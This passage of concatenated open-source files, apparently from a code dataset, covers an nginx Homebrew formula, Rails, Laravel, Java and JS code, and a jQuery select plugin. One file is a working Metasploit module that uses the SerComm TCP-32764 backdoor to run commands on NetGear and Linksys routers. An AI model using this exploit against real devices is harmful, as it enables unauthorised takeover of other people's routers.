script couldn't generate config file." unless File.exist?("./config") Dir.chdir(origin_dir) end # Changes default port to 8080 inreplace "conf/nginx.conf", "listen 80;", "listen 8080;" inreplace "conf/nginx.conf", " #}\n\n}", " #}\n include servers/*;\n}" pcre = Formula["pcre"] openssl = Formula["openssl"] libressl = Formula["libressl"] cc_opt = "-I#{HOMEBREW_PREFIX}/include -I#{pcre.include}" ld_opt = "-L#{HOMEBREW_PREFIX}/lib -L#{pcre.lib}" if build.with? "libressl" cc_opt += " -I#{libressl.include}" ld_opt += " -L#{libressl.lib}" else cc_opt += " -I#{openssl.include}" ld_opt += " -L#{openssl.lib}" end if build.with? "xsltproc-module" icu = Formula["icu4c"] cc_opt += " -I#{icu.opt_include}" ld_opt += " -L#{icu.opt_lib}" end cc_opt += " -I#{Formula["libzip"].opt_lib}/libzip/include" if build.with? "unzip" args = %W[ --prefix=#{prefix} --with-http_ssl_module --with-pcre --with-ipv6 --sbin-path=#{bin}/nginx --with-cc-opt=#{cc_opt} --with-ld-opt=#{ld_opt} --conf-path=#{etc}/nginx/nginx.conf --pid-path=#{var}/run/nginx.pid --lock-path=#{var}/run/nginx.lock --http-client-body-temp-path=#{var}/run/nginx/client_body_temp --http-proxy-temp-path=#{var}/run/nginx/proxy_temp --http-fastcgi-temp-path=#{var}/run/nginx/fastcgi_temp --http-uwsgi-temp-path=#{var}/run/nginx/uwsgi_temp --http-scgi-temp-path=#{var}/run/nginx/scgi_temp --http-log-path=#{var}/log/nginx/access.log --error-log-path=#{var}/log/nginx/error.log ] # Core Modules self.class.core_modules.each do |arr| args << "--with-#{arr[1]}" if build.with?(arr[0]) && arr[1] end # Set misc module depends on nginx-devel-kit being compiled in if build.with? "set-misc-module" args << "--add-module=#{HOMEBREW_PREFIX}/share/ngx-devel-kit" end # Third Party Modules self.class.third_party_modules.each_key do |name| if build.with? "#{name}-module" args << "--add-module=#{HOMEBREW_PREFIX}/share/#{name}-nginx-module" end end # Passenger if build.with? "passenger" nginx_ext = `#{Formula["passenger"].opt_bin}/passenger-config --nginx-addon-dir`.chomp args << "--add-module=#{nginx_ext}" end # Install LuaJit if build.with? "lua-module" luajit_path = `brew --prefix luajit`.chomp ENV["LUAJIT_LIB"] = "#{luajit_path}/lib" ENV["LUAJIT_INC"] = "#{luajit_path}/include/luajit-2.0" end if build.head? system "./auto/configure", *args else system "./configure", *args end system "make", "install" if build.head? man8.install "docs/man/nginx.8" else man8.install "man/nginx.8" end (etc/"nginx/servers").mkpath (var/"run/nginx").mkpath end def post_install # nginx's docroot is #{prefix}/html, this isn't useful, so we symlink it # to #{HOMEBREW_PREFIX}/var/www. The reason we symlink instead of patching # is so the user can redirect it easily to something else if they choose. html = prefix/"html" dst = var/"www" if dst.exist? html.rmtree dst.mkpath else dst.dirname.mkpath html.rename(dst) end prefix.install_symlink dst => "html" # for most of this formula's life the binary has been placed in sbin # and Homebrew used to suggest the user copy the plist for nginx to their # ~/Library/LaunchAgents directory. So we need to have a symlink there # for such cases if rack.subdirs.any? { |d| d.join("sbin").directory? } sbin.install_symlink bin/"nginx" end end def passenger_caveats; <<-EOS.undent To activate Phusion Passenger, add this to #{etc}/nginx/nginx.conf, inside the 'http' context: passenger_root #{Formula["passenger"].opt_libexec}/lib/phusion_passenger/locations.ini; passenger_ruby /usr/bin/ruby; EOS end def caveats s = <<-EOS.undent Docroot is: #{var}/www The default port has been set in #{etc}/nginx/nginx.conf to 8080 so that nginx can run without sudo. nginx will load all files in #{etc}/nginx/servers/. - Tips - Run port 80: $ sudo chown root:wheel #{bin}/nginx $ sudo chmod u+s #{bin}/nginx Reload config: $ nginx -s reload Reopen Logfile: $ nginx -s reopen Stop process: $ nginx -s stop Waiting on exit process $ nginx -s quit EOS s << "\n" << passenger_caveats if build.with? "passenger" s end test do system "#{bin}/nginx", "-t" end def plist; <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>#{plist_name}</string> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> <key>ProgramArguments</key> <array> <string>#{opt_bin}/nginx</string> <string>-g</string> <string>daemon off;</string> </array> <key>WorkingDirectory</key> <string>#{HOMEBREW_PREFIX}</string> </dict> </plist> EOS end end
mit
cgaebel/soa
src/lib.rs
412
//! Growable struct-of-array types with 16-byte aligned heap allocated contents. #![feature(alloc)] #![feature(collections)] #![feature(core)] #![feature(unsafe_no_drop_flag)] #![feature(filling_drop)] extern crate alloc; extern crate collections; extern crate core; pub mod soa2; pub mod soa3; pub mod soa4; mod unadorned; #[cfg(test)] mod test; pub use soa2::Soa2; pub use soa3::Soa3; pub use soa4::Soa4;
mit
yasushiito/test_speech_balloon
test/functional/test_speech_balloon/balloons_controller_test.rb
174
require 'test_helper' module TestSpeechBalloon class BalloonsControllerTest < ActionController::TestCase # test "the truth" do # assert true # end end end
mit
razzul/laravel-vue-admin
src/Installs/app/Controllers/LaravelVueAdmin/DashboardController.php
712
<?php /** * Controller genrated using LaravelVueAdmin * Help: https://github.com/razzul/laravel-vue-admin */ namespace App\Http\Controllers\LaravelVueAdmin; use App\Http\Controllers\Controller; use App\Http\Requests; use Illuminate\Http\Request; /** * Class DashboardController * @package App\Http\Controllers */ class DashboardController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware('auth'); } /** * Show the application dashboard. * * @return Response */ public function index() { return view('LaravelVueAdmin.dashboard'); } }
mit
microsoftgraph/msgraph-sdk-java
src/main/java/com/microsoft/graph/requests/UserActivityCollectionResponse.java
761
// Template Source: BaseEntityCollectionResponse.java.tt // ------------------------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. // ------------------------------------------------------------------------------ package com.microsoft.graph.requests; import com.microsoft.graph.models.UserActivity; import com.microsoft.graph.http.BaseCollectionResponse; // **NOTE** This file was generated by a tool and any changes will be overwritten. /** * The class for the User Activity Collection Response. */ public class UserActivityCollectionResponse extends BaseCollectionResponse<UserActivity> { }
mit
aureliano/da-mihi-logs
evt-bridge-converter/src/main/java/com/github/aureliano/evtbridge/converter/ConverterType.java
128
package com.github.aureliano.evtbridge.converter; public enum ConverterType { EVENT_COLLECTOR, SCHEDULER, INPUT, OUTPUT; }
mit
mstream/screeps
src/test/fn.isRoomTileReserved.js
2302
const {expect} = require("chai"); const isRoomTileReserved = require("../main/fn.isRoomTileReserved"); describe("isRoomTileReserved", () => { it("throws exception when cords are out of range", () => { const room = {name: "room1"}; const memory = {rooms: {room1: {}}}; const ctx = {memory}; expect( () => isRoomTileReserved(ctx, room, -1, 0) ).to.throw("x has to be in range of [0,49]"); expect( () => isRoomTileReserved(ctx, room, 0, -1) ).to.throw("y has to be in range of [0,49]"); }); it("reserves room tiles properly", () => { const room = {name: "room1"}; const memory = {rooms: {room1: {}}}; const ctx = {memory}; const reservedTiles1 = []; for (let y = 0; y < 50; y += 1) { for (let x = 0; x < 50; x += 1) { if (isRoomTileReserved(ctx, room, x, y)) { reservedTiles1.push({ x, y }); } } } expect(reservedTiles1.length).to.equal(0); for (let y = 0; y < 50; y += 1) { for (let x = 0; x < 50; x += 1) { memory.rooms.room1.reservedTiles[y][x] = x % 10 === 0 && y % 10 === 0 && x === y; } } const reservedTiles2 = []; for (let y = 0; y < 50; y += 1) { for (let x = 0; x < 50; x += 1) { if (isRoomTileReserved(ctx, room, x, y)) { reservedTiles2.push({ x, y }); } } } expect(reservedTiles2.length).to.equal(5); expect(reservedTiles2[0].x).to.equal(0); expect(reservedTiles2[0].y).to.equal(0); expect(reservedTiles2[1].x).to.equal(10); expect(reservedTiles2[1].y).to.equal(10); expect(reservedTiles2[2].x).to.equal(20); expect(reservedTiles2[2].y).to.equal(20); expect(reservedTiles2[3].x).to.equal(30); expect(reservedTiles2[3].y).to.equal(30); expect(reservedTiles2[4].x).to.equal(40); expect(reservedTiles2[4].y).to.equal(40); }); });
mit
hahwul/mad-metasploit
archive/exploits/hardware/remote/30915.rb
3102
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStagerEcho def initialize(info={}) super(update_info(info, 'Name' => "SerComm Device Remote Code Execution", 'Description' => %q{ This module will cause remote code execution on several SerComm devices. These devices typically include routers from NetGear and Linksys. Tested against NetGear DG834. }, 'License' => MSF_LICENSE, 'Author' => [ 'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc 'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module ], 'Payload' => { 'Space' => 10000, # Could be more, but this should be good enough 'DisableNops' => true }, 'Platform' => 'linux', 'Privileged' => false, 'Targets' => [ ['Linux MIPS Big Endian', { 'Arch' => ARCH_MIPSBE } ], ['Linux MIPS Little Endian', { 'Arch' => ARCH_MIPSLE } ], ], 'DefaultTarget' => 0, 'References' => [ [ 'OSVDB', '101653' ], [ 'URL', 'https://github.com/elvanderb/TCP-32764' ] ], 'DisclosureDate' => "Dec 31 2013" )) register_options( [ Opt::RPORT(32764) ], self.class) end def check fprint = endian_fingerprint case fprint when 'BE' print_status("Detected Big Endian") return Msf::Exploit::CheckCode::Vulnerable when 'LE' print_status("Detected Little Endian") return Msf::Exploit::CheckCode::Vulnerable end return Msf::Exploit::CheckCode::Unknown end def exploit execute_cmdstager(:noargs => true) end def endian_fingerprint begin connect sock.put(rand_text(5)) res = sock.get_once disconnect if res && res.start_with?("MMcS") return 'BE' elsif res && res.start_with?("ScMM") return 'LE' end rescue Rex::ConnectionError => e print_error("Connection failed: #{e.class}: #{e}") end return nil end def execute_command(cmd, opts) vprint_debug(cmd) # Get the length of the command, for the backdoor's command injection cmd_length = cmd.length # 0x53634d4d => Backdoor code # 0x07 => Exec command # cmd_length => Length of command to execute, sent after communication struct data = [0x53634d4d, 0x07, cmd_length].pack("VVV") connect # Send command structure followed by command text sock.put(data+cmd) disconnect Rex.sleep(1) end end
mit
ArchimediaZerogroup/KonoUtils
app/policies/kono_utils/base_editing_policy_concern.rb
1829
require 'active_support/concern' module KonoUtils module BaseEditingPolicyConcern extend ActiveSupport::Concern included do ## # elenco degli attributi filtrati alla ricezione nel controller # @return [Array<Symbol>] def permitted_attributes cleard_columns+virtual_appended_attributes end ## # elenco attributi editabili nella form # @return [Array<Symbol>] def editable_attributes cleard_columns end ## # elenco attributi visualizzabili nella show # @return [Array<Symbol>] def displayable_attributes editable_attributes end ## # Elenco attributi da visualizzare, utilizzati nella vista della index # @return [Array<Symbol>] def show_attributes cleard_columns end private def cleard_columns record.class.column_names.collect { |s| s.to_sym } - [:id, :created_at, :updated_at] end ## # Elenco di attributi generati dinamicamente da KonoUtils. # Come ad esempio l'attributo per la cancellazione del file allegato # @return [Array<Symbol>] def virtual_appended_attributes out = [] if record.class.respond_to?(:attribute_purger_name) record.class.instance_methods.each do |c| next if c.match(/=$/) #skippiamo per i writers if record.respond_to?(record.class.attribute_purger_name(c)) Rails.logger.debug c.inspect out << record.class.attribute_purger_name(c) end end end out end end if defined? ::Application::Scope class Scope < ::Application::Scope def resolve scope end end end # module ClassMethods # end end end
mit
shueno/bgit
src/main/java/bgit/model/WorkNodeListener.java
219
package bgit.model; import java.io.File; public interface WorkNodeListener { void workNodeCreated(File absolutePath); void workNodeDeleted(File absolutePath); void workNodeChanged(File absolutePath); }
mit
jsynowiec/kohana-module-auto-i18n
classes/i18n.php
3435
<?php defined('SYSPATH') or die('No direct script access.'); /** * A patch for the Internationalization (i18n) class. * * @package I18n * @author Mikito Takada * @reviewer Jakub Synowiec * @see http://blog.mixu.net/2010/06/02/kohana3-automatically-collect-internationalization-strings/ */ class I18n extends Kohana_I18n { // Cache of missing strings protected static $_cache_missing = array(); /** * Returns translation of a string. If no translation exists, the original * string will be returned. No parameters are replaced. * * $hello = I18n::get('Hello friends, my name is :name'); * * @param string text to translate * @param string target language * @return string */ public static function get($string, $lang = NULL) { if (!$lang) { // Use the global target language $lang = I18n::$lang; } // Load the translation table for this language $table = I18n::load($lang); // Return the translated string if it exists if (isset($table[$string])) { return $table[$string]; } else { // Translated string does not exist // Store the original string as missing - still makes sense to store the English string so that loading the untranslated file will work. I18n::$_cache_missing[$lang][$string] = $string; return $string; } } public static function write() { // something new must be added for anything to happen if (!empty(I18n::$_cache_missing)) { $contents[] = "<?php defined('SYSPATH') or die('No direct script access.');"; $contents[] = ""; $contents[] = "/**"; $contents[] = "* Translation file in language: ".I18n::$lang; $contents[] = "* Automatically generated from previous translation file."; $contents[] = "*/"; $contents[] = ""; $contents[] = "return ".var_export(array_merge(I18n::$_cache_missing[I18n::$lang], I18n::$_cache[I18n::$lang]), true).';'; $contents[] = "?>"; $contents = implode(PHP_EOL, $contents); // save string to file $savepath = APPPATH.'/i18n/'; $filename = I18n::$lang.'.php'; // check that the path exists if (!file_exists($savepath)) { // if not, create directory mkdir($savepath, 0777, true); } // rename the old file - if the file size is different. if (file_exists($savepath.$filename) && (filesize($savepath.$filename) != strlen($contents))) { if (!rename($savepath.$filename, $savepath.I18n::$lang.'_'.date('Y_m_d_H_i_s').'.php')) { // Rename failed! Don't write the file. return; } } // save the file file_put_contents($savepath.$filename, $contents); } } } ?>
mit
jips/mls-laravel
resources/views/defect/tire/tables/prod_edit.blade.php
3726
@extends('layouts.app_defect_t') @section('content') <div class='col-sm-4 col-sm-offset-4'> <h2 class='text-center'>Редагувати типорозмір <div class="pull-right"> {!! Form::open(['url' => '/defect/tire/tables/prod/' . $prod->id, 'method' => 'DELETE']) !!} {!! Form::submit('Видалити', ['class' => 'btn btn-danger']) !!} {!! Form::close() !!} </div> </h2> <br> {!! Form::model($prod, ['role' => 'form', 'url' => '/defect/tire/tables/prod/' . $prod->id, 'method' => 'PUT']) !!} <div class='form-group'> {!! Form::label('prod_id', 'Код') !!} {!! Form::text('prod_id', trim($prod->prod_id), ['placeholder' => 'Код', 'class' => 'form-control']) !!} </div> <div class="col-sm-6"> <div class='form-group'> {!! Form::label('w', 'Ширина') !!} {!! Form::text('w', @explode('/', trim($prod->p_size))[0], ['placeholder' => 'Ширина', 'class' => 'form-control']) !!} </div> </div> <div class="col-sm-6"> <div class='form-group'> {!! Form::label('h', 'Профиль') !!} {!! Form::text('h', @explode('/', trim($prod->p_size))[1], ['placeholder' => 'Профиль', 'class' => 'form-control']) !!} </div> </div> <div class="col-sm-6"> <div class='form-group'> {!! Form::label('p_d', 'Діаметр') !!} {!! Form::select('p_d', ['' => 'Не вказано', '13' => '13', '14' => '14', '15' => '15', '16' => '16', '17' => '17', '18' => '18', '19' => '19'], ltrim(trim($prod->p_d), 'R'), ['class' => 'form-control']) !!} </div> </div> <div class="col-sm-6"> <div class='form-group'> {!! Form::label('p_mod', 'Назва моделі') !!} {!! Form::text('p_mod', trim($prod->p_mod), ['placeholder' => 'Назва моделі', 'class' => 'form-control']) !!} </div> </div> <div class="col-sm-6"> <div class='form-group'> {!! Form::label('p_load', 'Індекс навантаження') !!} {!! Form::text('p_load', trim($prod->p_load), ['placeholder' => 'Індекс навантаження', 'class' => 'form-control']) !!} </div> </div> <div class="col-sm-6"> <div class='form-group'> {!! Form::label('p_cat', 'Індекс швидкості') !!} {!! Form::select('p_cat', ['' => 'Не вказано', 'J' => 'J', 'K' => 'K', 'L' => 'L', 'M' => 'M', 'N' => 'N', 'P' => 'P', 'Q' => 'Q', 'R' => 'R', 'S' => 'S', 'T' => 'T', 'U' => 'U', 'H' => 'H', 'V' => 'V', 'W' => 'W', 'Y' => 'Y'], trim($prod->p_cat), ['class' => 'form-control']) !!} </div> </div> <div class='form-group'> {!! Form::label('prod_group', 'Группа продукції') !!} {!! Form::select('prod_group', $groups, null, ['class' => 'form-control']) !!} </div> <div class='form-group'> {!! Form::label('ceh_vulk', 'Цех вулканізації') !!} {!! Form::select('ceh_vulk', $cehs, null, ['class' => 'form-control']) !!} </div> <div class='form-group'> {!! Form::label('ceh_otv', 'Цех відповідальний') !!} {!! Form::select('ceh_otv', $cehs, null, ['class' => 'form-control']) !!} </div> <div class='form-group text-center'> {!! Form::submit('Зберегти', ['class' => 'btn btn-lg btn-primary']) !!} </div> {!! Form::close() !!} @if ($errors->has()) @foreach ($errors->all() as $error) <div class='bg-danger alert'>{{ $error }}</div> @endforeach @endif </div> @stop
mit
io7m/coreland-posix-ada-doc
make-proc_map.lua
1759
#!/usr/bin/env lua local io = require ("io") local argv = arg local argc = table.maxn (argv) assert (argc == 1) local spec_file = io.open (argv[1]) assert (spec_file) -- -- Print pair -- local function print_pair (package, orig_name, ada_name) assert (type (package) == "string") assert (type (orig_name) == "string") assert (type (ada_name) == "string") local item = package.."."..ada_name local mod_item = item:lower () mod_item = mod_item:gsub ("%.", "_") io.write ([[(t-row (item "]]..orig_name..[[")]]) io.write ([[(item (link "]]..mod_item..[[" "]]..item..[["))) ]]) end -- -- Read package name -- local package = "" while true do local spec_line = spec_file:read ("*l") if not spec_line then error ("unexpected EOF before package name") end spec_line = spec_line:gsub ("^[%s]*", "") local pkg_match = spec_line:match ("^package ([a-zA-Z0-9%._]+)") if pkg_match then package = pkg_match break end end -- -- Read spec -- orig_name = "" expecting_name = false while true do local spec_line = spec_file:read ("*l") if not spec_line then break end spec_line = spec_line:gsub ("^[%s]*", "") if not expecting_name then local spec_match = spec_line:match ("^-- subprogram_map : ([a-zA-Z0-9_]+)$") if spec_match then expecting_name = true orig_name = spec_match end else local spec_match = spec_line:match ("^procedure ([a-zA-Z0-9_]+)") if spec_match then print_pair (package, orig_name, spec_match) expecting_name = false end local spec_match = spec_line:match ("^function ([a-zA-Z0-9_]+)") if spec_match then print_pair (package, orig_name, spec_match) expecting_name = false end end end
mit
braggarts-labo/ore-fol-ui
lib/components/templates.js
65
'use strict' module.exports = require('../../assets/templates')
mit
lloonnyyaa/reviews
html/lib/selectric/jquery.selectric.js
36151
(function(factory) { /* global define */ /* istanbul ignore next */ if ( typeof define === 'function' && define.amd ) { define(['jquery'], factory); } else if ( typeof module === 'object' && module.exports ) { // Node/CommonJS module.exports = function( root, jQuery ) { if ( jQuery === undefined ) { if ( typeof window !== 'undefined' ) { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } }(function($) { 'use strict'; var $doc = $(document); var $win = $(window); var pluginName = 'selectric'; var classList = 'Input Items Open Disabled TempShow HideSelect Wrapper Focus Hover Responsive Above Below Scroll Group GroupLabel'; var eventNamespaceSuffix = '.sl'; var chars = ['a', 'e', 'i', 'o', 'u', 'n', 'c', 'y']; var diacritics = [ /[\xE0-\xE5]/g, // a /[\xE8-\xEB]/g, // e /[\xEC-\xEF]/g, // i /[\xF2-\xF6]/g, // o /[\xF9-\xFC]/g, // u /[\xF1]/g, // n /[\xE7]/g, // c /[\xFD-\xFF]/g // y ]; /** * Create an instance of Selectric * * @constructor * @param {Node} element - The &lt;select&gt; element * @param {object} opts - Options */ var Selectric = function(element, opts) { var _this = this; _this.element = element; _this.$element = $(element); _this.state = { multiple : !!_this.$element.attr('multiple'), enabled : false, opened : false, currValue : -1, selectedIdx : -1, highlightedIdx : -1 }; _this.eventTriggers = { open : _this.open, close : _this.close, destroy : _this.destroy, refresh : _this.refresh, init : _this.init }; _this.init(opts); }; Selectric.prototype = { utils: { /** * Detect mobile browser * * @return {boolean} */ isMobile: function() { return /android|ip(hone|od|ad)/i.test(navigator.userAgent); }, /** * Escape especial characters in string (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) * * @param {string} str - The string to be escaped * @return {string} The string with the special characters escaped */ escapeRegExp: function(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string }, /** * Replace diacritics * * @param {string} str - The string to replace the diacritics * @return {string} The string with diacritics replaced with ascii characters */ replaceDiacritics: function(str) { var k = diacritics.length; while (k--) { str = str.toLowerCase().replace(diacritics[k], chars[k]); } return str; }, /** * Format string * https://gist.github.com/atesgoral/984375 * * @param {string} f - String to be formated * @return {string} String formated */ format: function(f) { var a = arguments; // store outer arguments return ('' + f) // force format specifier to String .replace( // replace tokens in format specifier /\{(?:(\d+)|(\w+))\}/g, // match {token} references function( s, // the matched string (ignored) i, // an argument index p // a property name ) { return p && a[1] // if property name and first argument exist ? a[1][p] // return property from first argument : a[i]; // assume argument index and return i-th argument }); }, /** * Get the next enabled item in the options list. * * @param {object} selectItems - The options object. * @param {number} selected - Index of the currently selected option. * @return {object} The next enabled item. */ nextEnabledItem: function(selectItems, selected) { while ( selectItems[ selected = (selected + 1) % selectItems.length ].disabled ) { // empty } return selected; }, /** * Get the previous enabled item in the options list. * * @param {object} selectItems - The options object. * @param {number} selected - Index of the currently selected option. * @return {object} The previous enabled item. */ previousEnabledItem: function(selectItems, selected) { while ( selectItems[ selected = (selected > 0 ? selected : selectItems.length) - 1 ].disabled ) { // empty } return selected; }, /** * Transform camelCase string to dash-case. * * @param {string} str - The camelCased string. * @return {string} The string transformed to dash-case. */ toDash: function(str) { return str.replace(/([a-z0-9])([A-Z])/g, '$1-$2').toLowerCase(); }, /** * Calls the events registered with function name. * * @param {string} fn - The name of the function. * @param {number} scope - Scope that should be set on the function. */ triggerCallback: function(fn, scope) { var elm = scope.element; var func = scope.options['on' + fn]; var args = [elm].concat([].slice.call(arguments).slice(1)); if ( $.isFunction(func) ) { func.apply(elm, args); } $(elm).trigger(pluginName + '-' + this.toDash(fn), args); }, /** * Transform array list to concatenated string and remove empty values * @param {array} arr - Class list * @return {string} Concatenated string */ arrayToClassname: function(arr) { var newArr = $.grep(arr, function(item) { return !!item; }); return $.trim(newArr.join(' ')); } }, /** Initializes */ init: function(opts) { var _this = this; // Set options _this.options = $.extend(true, {}, $.fn[pluginName].defaults, _this.options, opts); _this.utils.triggerCallback('BeforeInit', _this); // Preserve data _this.destroy(true); // Disable on mobile browsers if ( _this.options.disableOnMobile && _this.utils.isMobile() ) { _this.disableOnMobile = true; return; } // Get classes _this.classes = _this.getClassNames(); // Create elements var input = $('<input/>', { 'class': _this.classes.input, 'readonly': _this.utils.isMobile() }); var items = $('<div/>', { 'class': _this.classes.items, 'tabindex': -1 }); var itemsScroll = $('<div/>', { 'class': _this.classes.scroll }); var wrapper = $('<div/>', { 'class': _this.classes.prefix, 'html': _this.options.arrowButtonMarkup }); var label = $('<span/>', { 'class': 'label' }); var outerWrapper = _this.$element.wrap('<div/>').parent().append(wrapper.prepend(label), items, input); var hideSelectWrapper = $('<div/>', { 'class': _this.classes.hideselect }); _this.elements = { input : input, items : items, itemsScroll : itemsScroll, wrapper : wrapper, label : label, outerWrapper : outerWrapper }; if ( _this.options.nativeOnMobile && _this.utils.isMobile() ) { _this.elements.input = undefined; hideSelectWrapper.addClass(_this.classes.prefix + '-is-native'); _this.$element.on('change', function() { _this.refresh(); }); } _this.$element .on(_this.eventTriggers) .wrap(hideSelectWrapper); _this.originalTabindex = _this.$element.prop('tabindex'); _this.$element.prop('tabindex', -1); _this.populate(); _this.activate(); _this.utils.triggerCallback('Init', _this); }, /** Activates the plugin */ activate: function() { var _this = this; var hiddenChildren = _this.elements.items.closest(':visible').children(':hidden').addClass(_this.classes.tempshow); var originalWidth = _this.$element.width(); hiddenChildren.removeClass(_this.classes.tempshow); _this.utils.triggerCallback('BeforeActivate', _this); _this.elements.outerWrapper.prop('class', _this.utils.arrayToClassname([ _this.classes.wrapper, _this.$element.prop('class').replace(/\S+/g, _this.classes.prefix + '-$&'), _this.options.responsive ? _this.classes.responsive : '' ]) ); if ( _this.options.inheritOriginalWidth && originalWidth > 0 ) { _this.elements.outerWrapper.width(originalWidth); } _this.unbindEvents(); if ( !_this.$element.prop('disabled') ) { _this.state.enabled = true; // Not disabled, so... Removing disabled class _this.elements.outerWrapper.removeClass(_this.classes.disabled); // Remove styles from items box // Fix incorrect height when refreshed is triggered with fewer options _this.$li = _this.elements.items.removeAttr('style').find('li'); _this.bindEvents(); } else { _this.elements.outerWrapper.addClass(_this.classes.disabled); if ( _this.elements.input ) { _this.elements.input.prop('disabled', true); } } _this.utils.triggerCallback('Activate', _this); }, /** * Generate classNames for elements * * @return {object} Classes object */ getClassNames: function() { var _this = this; var customClass = _this.options.customClass; var classesObj = {}; $.each(classList.split(' '), function(i, currClass) { var c = customClass.prefix + currClass; classesObj[currClass.toLowerCase()] = customClass.camelCase ? c : _this.utils.toDash(c); }); classesObj.prefix = customClass.prefix; return classesObj; }, /** Set the label text */ setLabel: function() { var _this = this; var labelBuilder = _this.options.labelBuilder; if ( _this.state.multiple ) { // Make sure currentValues is an array var currentValues = $.isArray(_this.state.currValue) ? _this.state.currValue : [_this.state.currValue]; // I'm not happy with this, but currentValues can be an empty // array and we need to fallback to the default option. currentValues = currentValues.length === 0 ? [0] : currentValues; var labelMarkup = $.map(currentValues, function(value) { return $.grep(_this.lookupItems, function(item) { return item.index === value; })[0]; // we don't want nested arrays here }); labelMarkup = $.grep(labelMarkup, function(item) { // Hide default (please choose) if more then one element were selected. // If no option value were given value is set to option text by default if ( labelMarkup.length > 1 || labelMarkup.length === 0 ) { return $.trim(item.value) !== ''; } return item; }); labelMarkup = $.map(labelMarkup, function(item) { return $.isFunction(labelBuilder) ? labelBuilder(item) : _this.utils.format(labelBuilder, item); }); // Limit the amount of selected values shown in label if ( _this.options.multiple.maxLabelEntries ) { if ( labelMarkup.length >= _this.options.multiple.maxLabelEntries + 1 ) { labelMarkup = labelMarkup.slice(0, _this.options.multiple.maxLabelEntries); labelMarkup.push( $.isFunction(labelBuilder) ? labelBuilder({ text: '...' }) : _this.utils.format(labelBuilder, { text: '...' })); } else { labelMarkup.slice(labelMarkup.length - 1); } } _this.elements.label.html(labelMarkup.join(_this.options.multiple.separator)); } else { var currItem = _this.lookupItems[_this.state.currValue]; _this.elements.label.html( $.isFunction(labelBuilder) ? labelBuilder(currItem) : _this.utils.format(labelBuilder, currItem) ); } }, /** Get and save the available options */ populate: function() { var _this = this; var $options = _this.$element.children(); var $justOptions = _this.$element.find('option'); var $selected = $justOptions.filter(':selected'); var selectedIndex = $justOptions.index($selected); var currIndex = 0; var emptyValue = (_this.state.multiple ? [] : 0); if ( $selected.length > 1 && _this.state.multiple ) { selectedIndex = []; $selected.each(function() { selectedIndex.push($(this).index()); }); } _this.state.currValue = (~selectedIndex ? selectedIndex : emptyValue); _this.state.selectedIdx = _this.state.currValue; _this.state.highlightedIdx = _this.state.currValue; _this.items = []; _this.lookupItems = []; if ( $options.length ) { // Build options markup $options.each(function(i) { var $elm = $(this); if ( $elm.is('optgroup') ) { var optionsGroup = { element : $elm, label : $elm.prop('label'), groupDisabled : $elm.prop('disabled'), items : [] }; $elm.children().each(function(i) { var $elm = $(this); optionsGroup.items[i] = _this.getItemData(currIndex, $elm, optionsGroup.groupDisabled || $elm.prop('disabled')); _this.lookupItems[currIndex] = optionsGroup.items[i]; currIndex++; }); _this.items[i] = optionsGroup; } else { _this.items[i] = _this.getItemData(currIndex, $elm, $elm.prop('disabled')); _this.lookupItems[currIndex] = _this.items[i]; currIndex++; } }); _this.setLabel(); _this.elements.items.append( _this.elements.itemsScroll.html( _this.getItemsMarkup(_this.items) ) ); } }, /** * Generate items object data * @param {integer} index - Current item index * @param {node} $elm - Current element node * @param {boolean} isDisabled - Current element disabled state * @return {object} Item object */ getItemData: function(index, $elm, isDisabled) { var _this = this; return { index : index, element : $elm, value : $elm.val(), className : $elm.prop('class'), text : $elm.html(), slug : $.trim(_this.utils.replaceDiacritics($elm.html())), alt : $elm.attr('data-alt'), selected : $elm.prop('selected'), disabled : isDisabled }; }, /** * Generate options markup * * @param {object} items - Object containing all available options * @return {string} HTML for the options box */ getItemsMarkup: function(items) { var _this = this; var markup = '<ul>'; if ( $.isFunction(_this.options.listBuilder) && _this.options.listBuilder ) { items = _this.options.listBuilder(items); } $.each(items, function(i, elm) { if ( elm.label !== undefined ) { markup += _this.utils.format('<ul class="{1}"><li class="{2}">{3}</li>', _this.utils.arrayToClassname([ _this.classes.group, elm.groupDisabled ? 'disabled' : '', elm.element.prop('class') ]), _this.classes.grouplabel, elm.element.prop('label') ); $.each(elm.items, function(i, elm) { markup += _this.getItemMarkup(elm.index, elm); }); markup += '</ul>'; } else { markup += _this.getItemMarkup(elm.index, elm); } }); return markup + '</ul>'; }, /** * Generate every option markup * * @param {number} index - Index of current item * @param {object} itemData - Current item * @return {string} HTML for the option */ getItemMarkup: function(index, itemData) { var _this = this; var itemBuilder = _this.options.optionsItemBuilder; // limit access to item data to provide a simple interface // to most relevant options. var filteredItemData = { value: itemData.value, text : itemData.text, slug : itemData.slug, index: itemData.index }; return _this.utils.format('<li data-index="{1}" class="{2}">{3}</li>', index, _this.utils.arrayToClassname([ itemData.className, index === _this.items.length - 1 ? 'last' : '', itemData.disabled ? 'disabled' : '', itemData.selected ? 'selected' : '' ]), $.isFunction(itemBuilder) ? _this.utils.format(itemBuilder(itemData, this.$element, index), itemData) : _this.utils.format(itemBuilder, filteredItemData) ); }, /** Remove events on the elements */ unbindEvents: function() { var _this = this; _this.elements.wrapper .add(_this.$element) .add(_this.elements.outerWrapper) .add(_this.elements.input) .off(eventNamespaceSuffix); }, /** Bind events on the elements */ bindEvents: function() { var _this = this; _this.elements.outerWrapper.on('mouseenter' + eventNamespaceSuffix + ' mouseleave' + eventNamespaceSuffix, function(e) { $(this).toggleClass(_this.classes.hover, e.type === 'mouseenter'); // Delay close effect when openOnHover is true if ( _this.options.openOnHover ) { 